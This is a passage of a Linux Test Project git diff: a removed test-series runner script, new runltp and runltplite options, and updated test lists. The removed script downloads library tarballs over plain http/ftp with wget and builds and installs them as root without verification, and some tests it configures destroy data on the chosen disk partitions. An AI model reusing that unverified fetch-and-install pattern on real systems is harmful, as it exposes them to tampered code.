-#      package. You can download it from http://www.sistina.com. Follow
-#      the README/INSTALL file within the package to install it.
-export RUN_DMMAPPER_TESTS=0
-export DISK_PARTITION2=xxxxx
-export DISK_PARTITION3=yyyyy
-
-## Set this to 1 if you wish to run the FSLVM tests
-#Note: fdisk needs to be run and the 4 HD partitions marked as 0x8e -- Linux LVM
-#      - If this is run on a 2.4 kernel system then LVM must be configured and the kernel rebuilt. In a 2.5 environment
-#        you must configure Device Mapper and install LVM2 from www.systina.com for the testcase to run correctly.
-#      - These operations are destructive so do NOT point the tests to partitions where the data shouldn't be overwritten.
-#        Once these tests are started all data in the partitions you point to will be destroyed.
-export RUN_FSLVM_TESTS=0
-export DISK_PARTITION4=xxxxxx
-export DISK_PARTITION5=yyyyyy
-export DISK_PARTITION6=zzzzzz
-export DISK_PARTITION7=iiiiii
-export NFS_PARTITION1=jjjjjj
-
-## Set this to 1 if you wish to run the FSNOLVM tests
-#Note: fdisk needs to be run and the 4 HD partitions marked as 0x8e -- Linux LVM
-#      - If this is run on a 2.4 kernel system then LVM must be configured and the kernel rebuilt. In a 2.5 environment
-#        you must configure Device Mapper and install LVM2 from www.systina.com for the testcase to run correctly.
-#      - These operations are destructive so do NOT point the tests to partitions where the data shouldn't be overwritten.
-#        Once these tests are started all data in the partitions you point to will be destroyed.
-export RUN_FSNOLVM_TESTS=0
-
-## Set this to 1 if you wish to run the LTP SCSI DEBUG tests
-#Note: Build scsi_debug as a module first before running the test
-export RUN_LTP_SCSI_DEBUG_TEST=0
-
-## Set this to 1 if you wish to run the LTP SYSFS tests
-#Note: Must have root access to execute this script.
-#  USAGE       : sysfs.sh [ -k <kernel_module> ]
-#  DESCRIPTION : A script that will test sysfs on Linux system.
-#  REQUIREMENTS: CONFIG_DUMMY must have been used to build kernel, and the
-#                dummy network module must exist.
-export RUN_LTP_SYSFS_TEST=0
-export KERNEL_MODULE1=xxxxxxx
-
-## Set this to 1 if you wish to run the LTP TIRPC tests
-export RUN_LTP_TIRPC_TEST=0
-
-##Set this to 1 if you wish to run the dma_thread_diotest7 test
-export RUN_DMA_THREAD_DIOTEST7=0
-
-##Set this to 1 if you wish to run the Controller area network (CAN)
-##protocol support tests. You would also like to review the Kernel
-##config options need to be set for this at ltp/README
-export RUN_CONTROLLER_AREA_NETWORK_TESTS=0
-
-##Set this to 1 if you wish to run the SMACK Security tests
-## Remember that you cannot run both the SELINUX and SMACK tests at a time,
-## as both of them cannot be tested in the same running kernel
-export RUN_SMACK_SECURITY_TESTS=0
-
-export LTP_VERSION=`"${RUNLTP}" -e`
-export TEST_START_TIME=`date +"%Y_%b_%d-%Hh_%Mm_%Ss"`
-export HARDWARE_TYPE=$(uname -i)
-export HOSTNAME=$(uname -n)
-export KERNEL_VERSION=$(uname -r)
-export HTML_OUTPUT_FILE_NAME=$LTP_VERSION_$HOSTNAME_$KERNEL_VERSION_$HARDWARE_TYPE_$TEST_START_TIME.html
-
-if ! cd "${LTPROOT}"; then
-	rc=$?
-	echo "${0##*/}: ERROR : Could not cd to ${LTPROOT}"
-	exit $rc
-fi
-
-## The First one i plan to run is the default LTP run ##
-## START => Test Series 1                             ##
-echo "Running Default LTP..."
-"${RUNLTP}" -g $HTML_OUTPUT_FILE_NAME
-printf "Completed running Default LTP\n\n\n"
-## END => Test Series 1                               ##
-
-## The next one i plan to run is ballista             ##
-## START => Test Series 2                             ##
-if [ $RUN_BALLISTA -eq 1 ]
-then
-	echo "Running Ballista..."
-	export TEST_START_TIME=`date +"%Y_%b_%d-%Hh_%Mm_%Ss"`
-	"${RUNLTP}" -f ballista -o $LTP_VERSION-BALLISTA_RUN_ON-$HOSTNAME-$KERNEL_VERSION-$HARDWARE_TYPE-$TEST_START_TIME.out
-	printf "Completed running Ballista\n\n\n"
-fi
-## END => Test Series 2                               ##
-
-## The next one i plan to run is open_posix_testsuite ##
-## START => Test Series 3                             ##
-if [ $RUN_OPENPOSIX -eq 1 ]
-then
-	echo "Running Open Posix Tests..."
-	(cd testcases/open_posix_testsuite; make)
-	printf "Completed running Open Posix Tests\n\n\n"
-fi
-## END => Test Series 3                               ##
-
-
-## The next one i plan to run is                      ##
-## ltp/testcases/kernel/mem/libmm/mm_core_apis        ##
-## START => Test Series 4                             ##
-if [ $RUN_MM_CORE_APIS -eq 1 ]
-then
-	echo "Initializing ltp/testcases/kernel/mem/libmm/mm_core_apis ..."
-	# Check to see if User is Root
-	if [ $(id -ru) -ne 0 ]
-	then
-		echo -n "You need to be root to Install libmm and run "
-		echo -n "mem/libmm/mm_core_apis; aborting "
-		echo "ltp/testcases/kernel/mem/libmm/mm_core_apis"
-	else
-		if [ $LIBMM_INSTALLED -ne 1 ]
-		then
-			echo Installing libmm-1.4.2 .............
-			(cd /tmp;
-			 wget -c ftp://ftp.ossp.org/pkg/lib/mm/mm-1.4.2.tar.gz;
-			 tar -xzf mm-1.4.2.tar.gz;
-			 cd mm-1.4.2;
-			 ./configure && make all install)
-			rm -rf /tmp/mm-1.4.2*
-			echo "libmm-1.4.2 Installed ............."
-		else
-			echo "libmm-1.4.2 already installed in your system"
-		fi
-			echo -n "Running "
-			echo "ltp/testcases/kernel/mem/libmm/mm_core_apis ..."
-	   (make -C testcases/kernel/mem/libmm all install;
-	    $LTPROOT/testcases/bin/mm_core_apis; )
-	fi
-	printf "Completed running ltp/testcases/kernel/mem/libmm/mm_core_apis...\n\n\n"
-fi
-## END => Test Series 4                               ##
-
-
-## The next one i plan to run is                      ##
-## ltp/testcases/kernel/io/aio                        ##
-## START => Test Series 5                             ##
-if [ $RUN_AIOTESTS -eq 1 ]
-then
-	echo "Initializing ltp/testcases/kernel/io/aio ..."
-	# Check to see if User is Root
-	if [ $(id -ru) -ne 0 ]
-	then
-		echo -n "You need to be root to Install libaio-0.3.92 and run"
-		echo -n "ltp/testcases/kernel/io/aio; aborting "
-		echo "ltp/testcases/kernel/io/aio"
-	else
-		if [ $LIBAIO_INSTALLED -ne 1 ]
-		then
-			echo "Installing libaio-0.3.92............."
-			(cd /tmp;
-			 wget -c http://www.kernel.org/pub/linux/kernel/people/bcrl/aio/libaio-0.3.92.tar.gz;
-			 tar -xzf libaio-0.3.92.tar.gz;
-			 make -C libaio-0.3.92 all install)
-			rm -rf /tmp/libaio-0.3.92*
-			echo "libaio-0.3.92 Installed ............."
-		else
-			echo "libaio-0.3.92 already installed in your system"
-		fi
-		# XXX (garrcoop): this needs to be fixed so that it's callable
-		# via standalone runltp in a standard installed tree.
-		echo "Building & Running ltp/testcases/kernel/io/aio..."
-		(make -C testcases/kernel/io/aio all;
-		 ./aio01/aio01;
-		 ./aio02/runfstests.sh -a aio02/cases/aio_tio;
-		 make clean 1>&2 > /dev/null )
-		printf "Completed running ltp/testcases/kernel/io/aio...\n\n\n"
-	fi
-fi
-## END => Test Series 5                               ##
-
-## The next one i plan to run is                      ##
-## ltp/testcases/kernel/security/filecaps             ##
-## START => Test Series 6                             ##
-if [ $RUN_FILECAPS -eq 1 ]
-then
-	echo "Initializing ltp/testcases/kernel/security/filecaps ..."
-	# Check to see if User is Root
-	if [ $(id -ru) -ne 0 ]
-	then
-		echo -n "You need to be root to Install libcaps and run "
-		echo -n "ltp/testcases/kernel/security/filecaps; aborting "
-		echo "ltp/testcases/kernel/security/filecaps"
-	else
-		if [ $LIBCAPS_INSTALLED -ne 1 ]
-		then
-			echo "Installing libcaps............."
-			(cd /tmp;
-			 wget -c ftp://ftp.kernel.org/pub/linux/libs/security/linux-privs/libcap2/libcap-2.14.tar.gz;
-			 tar -xzf libcap-2.14.tar.gz;
-			 make -C libcap-2.14 all install)
-			rm -rf /tmp/libcap-2.14*
-			echo "libcaps Installed ............."
-		else
-			echo "libcaps already installed in your system"
-		fi
-		echo -n "Building & Running "
-		echo "ltp/testcases/kernel/security/filecaps"
-		make -C ltp/testcases/kernel/security/filecaps all install
-		"${RUNLTP}" -f filecaps
-		printf "Completed running ltp/testcases/kernel/io/aio...\n\n\n"
-
-	fi
-
-fi
-## END => Test Series 6                               ##
-
-
-## The next one i plan to run is tpm_tools            ##
-## START => Test Series 7                             ##
-"${RUNLTP}" -f tpm_tools
-## END => Test Series 7                               ##
-
-## The next one i plan to run is stress_cd tests
-## START => Test Series 9                             ##
-if [ $RUN_STRESS_CD -eq 1 ]
-then
-	"${RUNLTP}" -f io_cd
-fi
-## END => Test Series 9                               ##
-
-## The next one i plan to run is stress_floppy tests
-## START => Test Series 10                             ##
-if [ $RUN_STRESS_FLOPPY -eq 1 ]
-then
-	"${RUNLTP}" -f io_floppy
-fi
-## END => Test Series 10                               ##
-
-## The next one i plan to run is CPUHOTPLUG tests
-## START => Test Series 11                             ##
-if [ $RUN_CPU_HOTPLUG -eq 1 ]
-then
-	"${RUNLTP}" -f cpuhotplug
-fi
-## END => Test Series 11                               ##
-
-## The next one i plan to run are the LTP Network tests
-## START => Test Series 12                             ##
-if [ $RUN_LTP_NETWORK_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./networktests.sh)
-fi
-## END => Test Series 12                               ##
-
-## The next one i plan to run are the LTP Network Stress tests
-## START => Test Series 13                             ##
-if [ $RUN_LTP_NETWORK_STRESS_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./networkstress.sh)
-fi
-## END => Test Series 13                               ##
-
-
-## The next one i plan to run are the LTP ADP tests
-## START => Test Series 14                             ##
-if [ $RUN_LTP_ADP_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./adp.sh -d 3 -n 100)
-fi
-## END => Test Series 14                               ##
-
-
-## The next one i plan to run are the LTP AUTOFS tests
-## START => Test Series 15                             ##
-if [ $RUN_LTP_AUTOFS1_TESTS -eq 1 ]
-then
-	if [ $DISK_PARTITION1 ]
-	then
-		(cd $LTPROOT/testscripts/; ./autofs1.sh $DISK_PARTITION1)
-	else
-		echo "Disk Partition not set. Aborting running AUTOFS1"
-	fi
-fi
-if [ $RUN_LTP_AUTOFS4_TESTS -eq 1 ]
-then
-	if [ $DISK_PARTITION1 ]
-	then
-		(cd $LTPROOT/testscripts/; ./autofs4.sh $DISK_PARTITION1)
-	else
-		echo "Disk Partition not set. Aborting running AUTOFS4"
-	fi
-fi
-## END => Test Series 15                               ##
-
-
-## The next one i plan to run are the LTP EXPORTFS tests
-## START => Test Series 16                             ##
-if [ $RUN_EXPORTFS_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./exportfs.sh -h $NFS_SERVER1 -d $NFS_SERVER_DISK_PARTITION1 -t $NFS_SERVER_FS_TYPE1)
-fi
-## END => Test Series 16                               ##
-
-
-## The next one i plan to run the FS tests on READ ONLY File Systems
-## START => Test Series 17                             ##
-if [ $RUN_RO_ONLY_FS_TESTS -eq 1 ]
-then
-	(cd $READ_ONLY_DIRECTORY1; $LTPROOT/testscripts/test_robind.sh)
-fi
-## END => Test Series 17                               ##
-
-
-## The next one i plan to run the ISOFS tests
-## START => Test Series 18                             ##
-if [ $RUN_ISOFS_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./isofs.sh)
-fi
-## END => Test Series 18                               ##
-
-
-## The next one i plan to run the DMMAPPER tests
-## START => Test Series 19                             ##
-if [ $RUN_DMMAPPER_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./ltpdmmapper.sh -a $DISK_PARTITION2 -b $DISK_PARTITION3)
-fi
-## END => Test Series 19                               ##
-
-
-## The next one i plan to run the FSLVM tests
-## START => Test Series 20                             ##
-if [ $RUN_FSLVM_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./ltpfslvm.sh -a $DISK_PARTITION4 -b $DISK_PARTITION5 -c $DISK_PARTITION6 -d $DISK_PARTITION7 -n $NFS_PARTITION1)
-fi
-## END => Test Series 20                               ##
-
-
-## The next one i plan to run the FSNOLVM tests
-## START => Test Series 21                             ##
-if [ $RUN_FSNOLVM_TESTS -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./ltpfsnolvm.sh -a $DISK_PARTITION4 -b $DISK_PARTITION5 -c $DISK_PARTITION6 -d $DISK_PARTITION7 -n $NFS_PARTITION1)
-fi
-## END => Test Series 21                               ##
-
-## The next one i plan to run the LTP SCSI DEBUG tests
-## START => Test Series 22                             ##
-if [ $RUN_LTP_SCSI_DEBUG_TEST -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./ltp-scsi_debug.sh)
-fi
-## END => Test Series 22                               ##
-
-## The next one i plan to run the LTP SYSFS tests
-## START => Test Series 23                             ##
-if [ $RUN_LTP_SYSFS_TEST -eq 1 ]
-then
-	(cd $LTPROOT/testscripts/; ./sysfs.sh -k $KERNEL_MODULE1)
-fi
-## END => Test Series 23                               ##
-
-## The next one i plan to run the LTP TIRPC tests
-## START => Test Series 24                             ##
-if [ $RUN_LTP_TIRPC_TEST -eq 1 ]
-then
-	"${RUNLTP}" -f rpctirpc
-fi
-## END => Test Series 24                               ##
-
-## The next one i plan to run the DMA_THREAD_DIOTEST7 tests
-## START => Test Series 25                             ##
-if [ $RUN_DMA_THREAD_DIOTEST7 -eq 1 ]
-then
-	"${RUNLTP}" -f test_dma_thread_diotest7
-fi
-## END => Test Series 25                               ##
-
-## The next one i plan to run the Controller area network
-## (CAN) protocol support tests
-## START => Test Series 26                             ##
-if [ $RUN_CONTROLLER_AREA_NETWORK_TESTS -eq 1 ]
-then
-	"${RUNLTP}" -f can
-fi
-## END => Test Series 26                               ##
-
-## The next one i plan to run the SMACK SECURITY tests
-## START => Test Series 27                             ##
-if [ $RUN_SMACK_SECURITY_TESTS -eq 1 ]
-then
-	"${RUNLTP}" -f smack
-fi
-## END => Test Series 27                               ##
diff --git a/runltp b/runltp
index 29f43a0..f081805 100755
--- a/runltp
+++ b/runltp
@@ -153,6 +153,7 @@
     -p              Human readable format logfiles.
     -q              Print less verbose output to screen.
     -r LTPROOT      Fully qualified path where testsuite is installed.
+    -R              Randomize test order.
     -s PATTERN      Only run test cases which match PATTERN.
     -S SKIPFILE     Skip tests specified in SKIPFILE
     -t DURATION     Execute the testsuite for given duration. Examples:
@@ -213,12 +214,13 @@
     local EMAIL_TO=""
     local TAG_RESTRICT_STRING=""
     local PAN_COMMAND=""
+    local RANDOMRUN=0
     local DEFAULT_FILE_NAME_GENERATION_TIME=`date +"%Y_%m_%d-%Hh_%Mm_%Ss"`
     local scenfile=
 
     version_date=$(cat "$LTPROOT/Version")
 
-    while getopts a:c:C:T:d:D:f:F:ehi:I:K:g:l:m:M:Nno:pqr:s:S:t:T:w:x:b:B:z:Z: arg
+    while getopts a:c:C:T:d:D:f:F:ehi:I:K:g:l:m:M:Nno:pqr:Rs:S:t:T:w:x:b:B:z:Z: arg
     do  case $arg in
         a)  EMAIL_TO=$OPTARG
             ALT_EMAIL_OUT=1;;
@@ -410,6 +412,8 @@
 
         r)  LTPROOT=$OPTARG;;
 
+        R)  RANDOMRUN=1;;
+
         s)  TAG_RESTRICT_STRING=$OPTARG;;
 
 	S)  case $OPTARG in
@@ -740,6 +744,10 @@
          done
     fi
 
+    if [ "$RANDOMRUN" != "0" ]; then
+        sort -R ${TMP}/alltests -o ${TMP}/alltests
+    fi
+
     [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test start time: $(date)" ; }
     PAN_COMMAND="${LTPROOT}/bin/ltp-pan $QUIET_MODE -e -S $INSTANCES $DURATION -a $$ \
     -n $$ $PRETTY_PRT -f ${TMP}/alltests $LOGFILE $OUTPUTFILE $FAILCMDFILE $TCONFCMDFILE"
@@ -868,8 +876,8 @@
 
     if [ "$ALT_HTML_OUT" -eq 1 ] ; then        #User wants the HTML output to be created, it then needs to be generated
        export LTP_VERSION=$version_date
-       export TEST_START_TIME=$test_start_time
-       export TEST_END_TIME=$(date)
+       export TEST_START_TIME="$test_start_time"
+       export TEST_END_TIME="$(date)"
        OUTPUT_DIRECTORY=`echo $OUTPUTFILE | cut -c4-`
        LOGS_DIRECTORY="$LTPROOT/results"
        export TEST_OUTPUT_DIRECTORY="$LTPROOT/output"
@@ -978,7 +986,7 @@
 create_block()
 {
     #create a block device
-    dd if=/dev/zero of=${TMP}/test.img bs=1kB count=102400 >/dev/null 2>&1
+    dd if=/dev/zero of=${TMP}/test.img bs=1024 count=262144 >/dev/null 2>&1
     if [ $? -ne 0 ]; then
         echo "Failed to create loopback device image, please check disk space and re-run"
         return 1
diff --git a/runltplite.sh b/runltplite.sh
index 765f8d1..9313649 100755
--- a/runltplite.sh
+++ b/runltplite.sh
@@ -89,6 +89,7 @@
     -p              Human readable format logfiles.
     -q              Print less verbose output to screen.
     -r LTPROOT      Fully qualified path where testsuite is installed.
+    -S SKIPFILE     Skip tests specified in SKIPFILE.
     -b DEVICE       Some tests require an unmounted block device to run
                     correctly.
     -B LTP_DEV_FS_TYPE  The file system of test block devices.
@@ -121,7 +122,7 @@
 
     local scenfile=""
 
-    while getopts c:d:hi:l:m:No:pqr:b:B: arg
+    while getopts c:d:hi:l:m:No:pqr:S:b:B: arg
     do  case $arg in
         c)
 	    NUM_PROCS=$(($OPTARG))
@@ -178,6 +179,13 @@
 
         r)  LTPROOT=$OPTARG;;
 
+        S)  case $OPTARG in
+                /*)
+                    SKIPFILE=$OPTARG;;
+                *)
+                    SKIPFILE="$LTPROOT/$OPTARG";;
+            esac ;;
+
         b)  DEVICE=$OPTARG;;
 
         B)  LTP_DEV_FS_TYPE=$OPTARG;;
@@ -287,7 +295,7 @@
     }
 
     # check for required users and groups
-    ${LTPROOT}/IDcheck.sh &>/dev/null || \
+    ${LTPROOT}/IDcheck.sh >/dev/null 2>&1 || \
     {
         echo "WARNING: required users and groups not present"
         echo "WARNING: some test cases may fail"
@@ -307,6 +315,14 @@
         done
     }
 
+    # Blacklist or skip tests if a SKIPFILE was specified with -S
+    if [ -n "$SKIPFILE" ]
+    then
+        for file in $( cat $SKIPFILE ); do
+            sed -i "/^$file[ \t]/d" ${TMP}/alltests
+        done
+    fi
+
     # display versions of installed software
     [ -z "$QUIET_MODE" ] && \
     {
diff --git a/runtest/Makefile b/runtest/Makefile
index 8702559..b7caaee 100644
--- a/runtest/Makefile
+++ b/runtest/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
diff --git a/runtest/commands b/runtest/commands
index 04b4280..682deda 100644
--- a/runtest/commands
+++ b/runtest/commands
@@ -1,22 +1,20 @@
 #DESCRIPTION:General Linux commands
 ar export TCdat=$LTPROOT/testcases/bin; ar01
-ld export TCdat=$LTPROOT/testcases/bin; ld01
-ldd export TCdat=$LTPROOT/testcases/bin; ldd01
-nm export TCdat=$LTPROOT/testcases/bin; nm01
-objdump export TCsrc=$LTPROOT/testcases/bin; objdump01
-file export TCdat=$LTPROOT/testcases/bin; file_test.sh
-tar export TCdat=$LTPROOT/testcases/bin; tar_tests.sh
-cron export TCdat=$LTPROOT/testcases/bin; cron_tests.sh
+ld01 ld01
+ldd01 ldd01
+nm01 nm01
+file01 file_test.sh
+tar01  tar_tests.sh
+cron cron_tests.sh
 logrotate export TCdat=$LTPROOT/testcases/bin; logrotate_tests.sh
 mail export TCdat=$LTPROOT/testcases/bin; mail_tests.sh
-cpio export TCdat=$LTPROOT/testcases/bin; cpio_tests.sh
-unzip01 unzip_tests.sh $LTPROOT/testcases/data/tst_unzip_file.zip
+cpio01 cpio_tests.sh
+unzip01 unzip_tests.sh
 gzip01 gzip_tests.sh
-cp_tests01 cp_tests.sh
-ln_tests01 ln_tests.sh
-mkdir_tests01 mkdir_tests.sh
-mv_tests01 mv_tests.sh
-size01 size01
+cp01 cp_tests.sh
+ln01 ln_tests.sh
+mkdir01 mkdir_tests.sh
+mv01 mv_tests.sh
 sssd01 sssd01
 sssd02 sssd02
 sssd03 sssd03
@@ -43,3 +41,4 @@
 lsmod01 lsmod01.sh
 insmod01 insmod01.sh
 wc01 wc01.sh
+keyctl01 keyctl01.sh
diff --git a/runtest/controllers b/runtest/controllers
index bec883b..b904e05 100644
--- a/runtest/controllers
+++ b/runtest/controllers
@@ -1,7 +1,11 @@
 #DESCRIPTION:Resource Management testing
 cgroup		cgroup_regression_test.sh
 memcg_regression	memcg_regression_test.sh
-memcg_function		memcg_function_test.sh
+memcg_failcnt memcg_failcnt.sh
+memcg_force_empty memcg_force_empty.sh
+memcg_limit_in_bytes memcg_limit_in_bytes.sh
+memcg_stat_rss memcg_stat_rss.sh
+memcg_subgroup_charge memcg_subgroup_charge.sh
 memcg_max_usage_in_bytes	memcg_max_usage_in_bytes_test.sh
 memcg_move_charge_at_immigrate	memcg_move_charge_at_immigrate_test.sh
 memcg_memsw_limit_in_bytes	memcg_memsw_limit_in_bytes_test.sh
@@ -9,7 +13,7 @@
 memcg_use_hierarchy	memcg_use_hierarchy_test.sh
 memcg_usage_in_bytes	memcg_usage_in_bytes_test.sh
 memcg_stress		memcg_stress_test.sh
-memcg_control		PAGESIZE=$(mem_process -p);memcg_control_test.sh $PAGESIZE $PAGESIZE $((PAGESIZE * 2))
+memcg_control		memcg_control_test.sh
 
 cgroup_fj_function_debug cgroup_fj_function.sh debug
 cgroup_fj_function_cpuset cgroup_fj_function.sh cpuset
diff --git a/runtest/dio b/runtest/dio
index 97820e9..a26e001 100644
--- a/runtest/dio
+++ b/runtest/dio
@@ -40,8 +40,8 @@
 dio28 diotest6 -b 8192 -o 1024000 -i 1000 -v 200
 
 ### Run the tests with more children
-#dio29 diotest3 -b 65536 -n 100 -i 1000 -o 1024000
-#dio30 diotest6 -b 65536 -n 100 -i 1000 -o 1024000
+dio29 diotest3 -b 65536 -n 100 -i 1000 -o 1024000
+dio30 diotest6 -b 65536 -n 100 -i 1000 -o 1024000
 #
 # RAW DEVICE TEST SECTION
 #   DEV1 and DEV2 should be exported prior to execution or
diff --git a/runtest/ipc b/runtest/ipc
index 50f072a..a2135ed 100644
--- a/runtest/ipc
+++ b/runtest/ipc
@@ -30,31 +30,3 @@
 
 sem01 sem01
 sem02 sem02
-
-message_queue_test_01		message_queue_test_01
-message_queue_test_02_get	message_queue_test_02_get
-message_queue_test_02_snd	message_queue_test_02_snd
-message_queue_test_02_rcv	message_queue_test_02_rcv
-message_queue_test_02_ctl	message_queue_test_02_ctl -r
-message_queue_test_04		message_queue_test_04
-message_queue_test_05		message_queue_test_05
-pipe_test_01			pipe_test_01
-pipe_test_02			pipe_test_02
-semaphore_test_01		run_semaphore_test_01.sh
-semaphore_test_02		semaphore_test_02
-semaphore_test_03		semaphore_test_03
-shmem_test_01			shmem_test_01
-shmem_test_02			shmem_test_02
-shmem_test_03			shmem_test_03
-shmem_test_04			shmem_test_04
-shmem_test_05			shmem_test_05
-shmem_test_06			shmem_test_06
-shmem_test_07			shmem_test_07
-signal_test_01			signal_test_01
-signal_test_02			signal_test_02
-signal_test_03			signal_test_03
-signal_test_04			signal_test_04
-signal_test_05			signal_test_05
-signal_test_06			signal_test_06
-signal_test_07			signal_test_07
-
diff --git a/runtest/ltp-aiodio.part2 b/runtest/ltp-aiodio.part2
index 28a84ac..00b9abf 100644
--- a/runtest/ltp-aiodio.part2
+++ b/runtest/ltp-aiodio.part2
@@ -78,3 +78,11 @@
 ADSP077 dio_sparse  -a 8k -w 518192k -s 18192k -n 128
 ADSP078 dio_sparse  -a 8k -w 518192k -s 518192k -n 512
 ADSP079 dio_sparse  -a 8k -w 518192k -s 518192k -n 1000
+ADSP080 dio_sparse  -a 4k -w 4k -s 2k -o 2k -n 2
+ADSP081 dio_sparse  -a 2k -w 2k -s 1k -o 1k -n 2
+ADSP082 dio_sparse  -a 1k -w 1k -s 512 -o 512 -n 2
+ADSP083 dio_sparse  -a 4k -w 4k -s 2k -o 3k -n 2
+ADSP084 dio_sparse  -a 4k -w 4k -s 4k -o 4k -n 2
+ADSP085 dio_sparse  -a 4k -w 4k -s 4k -o 6k -n 2
+ADSP086 dio_sparse  -a 4k -w 4k -s 4k -o 8k -n 2
+ADSP087 dio_sparse  -a 4k -w 16k -s 8k -o 8k -n 2
diff --git a/runtest/ltplite b/runtest/ltplite
index 4f6186b..0c2e5be 100644
--- a/runtest/ltplite
+++ b/runtest/ltplite
@@ -57,7 +57,7 @@
 
 
 #DESCRIPTION:Kernel system calls
-abort01 ulimit -c 1024;abort01
+abort01 abort01
 
 accept01 accept01
 
@@ -65,8 +65,6 @@
 access02 access02
 access03 access03
 access04 access04
-access05 access05
-access06 access06
 
 acct01 acct01
 
@@ -378,13 +376,16 @@
 kill08 kill08
 kill09 kill09
 kill10 kill10
-kill11 ulimit -c 1024;kill11
+kill11 kill11
 kill12 kill12
 
 lchown01 lchown01
 lchown02 lchown02
 lchown03 lchown03
 
+lgetxattr01 lgetxattr01
+lgetxattr02 lgetxattr02
+
 link01 symlink01 -T link01
 link02 link02
 link03 link03
@@ -414,6 +415,7 @@
 lseek08 lseek08
 lseek09 lseek09
 lseek10 lseek10
+lseek11 lseek11
 
 lstat01A symlink01 -T lstat01
 lstat01 lstat01
@@ -501,7 +503,6 @@
 msgget01 msgget01
 msgget02 msgget02
 msgget03 msgget03
-msgget04 msgget04
 
 msgrcv01 msgrcv01
 msgrcv02 msgrcv02
@@ -514,8 +515,6 @@
 
 msgsnd01 msgsnd01
 msgsnd02 msgsnd02
-msgsnd03 msgsnd03
-msgsnd04 msgsnd04
 msgsnd05 msgsnd05
 msgsnd06 msgsnd06
 
@@ -545,7 +544,6 @@
 nice02 nice02
 nice03 nice03
 nice04 nice04
-nice05 nice05
 
 open01 open01
 open01A symlink01 -T open01
@@ -603,6 +601,7 @@
 
 pselect01 pselect01
 pselect02 pselect02
+pselect03 pselect03
 
 ptrace01 ptrace01
 ptrace02 ptrace02
@@ -706,6 +705,7 @@
 
 sched_setscheduler01 sched_setscheduler01
 sched_setscheduler02 sched_setscheduler02
+sched_setscheduler03 sched_setscheduler03
 
 sched_yield01 sched_yield01
 
@@ -785,9 +785,6 @@
 
 setpriority01 setpriority01
 setpriority02 setpriority02
-setpriority03 setpriority03
-setpriority04 setpriority04
-setpriority05 setpriority05
 
 setregid01 setregid01
 setregid02 setregid02
@@ -969,8 +966,6 @@
 # ulimit01 ulimit01
 
 umask01 umask01
-umask02 umask02
-umask03 umask03
 
 uname01 uname01
 uname02 uname02
@@ -1040,10 +1035,9 @@
 
 writev01 writev01
 writev02 writev02
-writev03 writev03
-writev04 writev04
 writev05 writev05
 writev06 writev06
+writev07 writev07
 
 #DESCRIPTION:Memory Mgmt tests
 mm01 mmap001 -m 10000
diff --git a/runtest/net.features b/runtest/net.features
index bb907e5..6de9a9e 100644
--- a/runtest/net.features
+++ b/runtest/net.features
@@ -8,11 +8,15 @@
 busy_poll02 busy_poll02.sh
 busy_poll02_ipv6 busy_poll02.sh -6
 
+busy_poll03 busy_poll03.sh
+busy_poll03_ipv6 busy_poll03.sh -6
+
 tcp_fastopen tcp_fastopen_run.sh
 tcp_fastopen6 tcp_fastopen_run.sh -6
 
 vxlan01 vxlan01.sh
 vxlan02 vxlan02.sh
+vxlan02_ipv6 vxlan02.sh -6
 
 vxlan_multi_03 vxlan03.sh -d multi
 vxlan_uni_03 vxlan03.sh -d uni
@@ -34,3 +38,6 @@
 
 dctcp_ipv4_01 dctcp01.sh
 dctcp_ipv6_01 dctcp01.sh -6
+
+geneve01 geneve01.sh
+geneve01_ipv6 geneve01.sh -6
diff --git a/runtest/net.ipv6 b/runtest/net.ipv6
index f910684..d8f85cc 100644
--- a/runtest/net.ipv6
+++ b/runtest/net.ipv6
@@ -1,6 +1,10 @@
 #DESCRIPTION:IPV6 related tests
-ping601 ping01 -6
+ping601 ping01.sh -6
+ping602 ping02.sh -6
 sendfile601 sendfile01 -6
 tcpdump601 tcpdump01 -6
+tracepath601 tracepath01.sh -6
+traceroute601 traceroute01.sh -6
 dhcpd6 dhcpd_tests.sh -6
 dnsmasq6 dnsmasq_tests.sh -6
+ipneigh601 ipneigh01.sh -6
diff --git a/runtest/net.nfs b/runtest/net.nfs
index 43cf504..bd6cfdd 100644
--- a/runtest/net.nfs
+++ b/runtest/net.nfs
@@ -1,33 +1,86 @@
 #DESCRIPTION:Network filesystem stress
 #
-# PLEASE READ THE README FILE IN /nfs BEFORE RUNNING THESE.
+# PLEASE READ THE README FILE network/README.md BEFORE RUNNING THESE.
 #
-nfs3_01 export VERSION=3 SOCKET_TYPE=udp; nfs01
-nfs4_01 export VERSION=4 SOCKET_TYPE=tcp; nfs01
-nfs3_ipv6_01 export VERSION=3 SOCKET_TYPE=udp; nfs01 -6
-nfs4_ipv6_01 export VERSION=4 SOCKET_TYPE=tcp; nfs01 -6
+nfs3_01 nfs01 -v 3 -t udp
+nfs3t_01 nfs01 -v 3 -t tcp
+nfs4_01 nfs01 -v 4 -t tcp
+nfs41_01 nfs01 -v 4.1 -t tcp
+nfs42_01 nfs01 -v 4.2 -t tcp
+nfs3_ipv6_01 nfs01 -6 -v 3 -t udp
+nfs3t_ipv6_01 nfs01 -6 -v 3 -t tcp
+nfs4_ipv6_01 nfs01 -6 -v 4 -t tcp
+nfs41_ipv6_01 nfs01 -6 -v 4.1 -t tcp
+nfs42_ipv6_01 nfs01 -6 -v 4.2 -t tcp
 
-nfs3_02 export VERSION=3 SOCKET_TYPE=udp; nfs02
-nfs4_02 export VERSION=4 SOCKET_TYPE=tcp; nfs02
-nfs3_ipv6_02 export VERSION=3 SOCKET_TYPE=udp; nfs02 -6
-nfs4_ipv6_02 export VERSION=4 SOCKET_TYPE=tcp; nfs02 -6
+nfs3_02 nfs02 -v 3 -t udp
